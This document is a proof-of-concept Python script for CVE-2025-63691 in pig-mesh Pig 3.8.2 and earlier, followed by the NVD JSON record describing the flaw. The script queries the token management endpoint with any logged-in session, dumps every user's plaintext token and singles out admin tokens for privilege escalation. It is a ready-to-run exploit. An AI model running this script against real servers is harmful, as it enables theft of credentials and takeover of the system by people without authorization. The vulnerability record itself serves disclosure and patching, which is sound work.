CVE-2025-63691

# CVE-2025-63691 PoC - Information Disclosure via Token Management Interface # Target: pig-mesh Pig <= 3.8.2 # Endpoint: /api/admin/sys-token/page # Impact: Any authenticated user can obtain all user tokens including admin tokens import requests import json target_url = "http://target-server/api/admin/sys-token/page" # Use any valid user session cookie or token headers = { "Cookie": "JSESSIONID=your_authenticated_user_session", "Content-Type": "application/json" } # Optional: Add pagination parameters params = { "current": 1, "size": 100 } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful - Token information leaked!") print(json.dumps(data, indent=2, ensure_ascii=False)) # Extract tokens for privilege escalation if "data" in data and "records" in data["data"]: for record in data["data"]["records"]: if record.get("userType") == "admin" or record.get("username") == "admin": print(f"[+] Admin Token Found: {record.get('token')}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-63691", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:42.820", "lastModified": "2025-12-08T16:08:59.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In pig-mesh In Pig version 3.8.2 and below, within the Token Management function under the System Management module, the token query interface (/api/admin/sys-token/page) has an improper permission verification issue, which leads to information leakage. This interface can be called by any user who has completed login authentication, and it returns the plaintext authentication Tokens of all users currently logged in to the system. As a result, ordinary users can obtain the administrator's authentication Token through this interface, thereby forging an administrator account, gaining the system's management permissions, and taking over the system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pig4cloud:pig:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.8.2", "matchCriteriaId": "ED91B00C-6E96-4AD3-B814-D580C7F601B6"}]}]}], "references": [{"url": "https://github.com/LockeTom/vulnerability/blob/main/md/pig_Information_disclosure_vulnerability.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pig-mesh/pig/issues/1202", "source": "[email protected]", "tags": ["Broken Link"]}]}}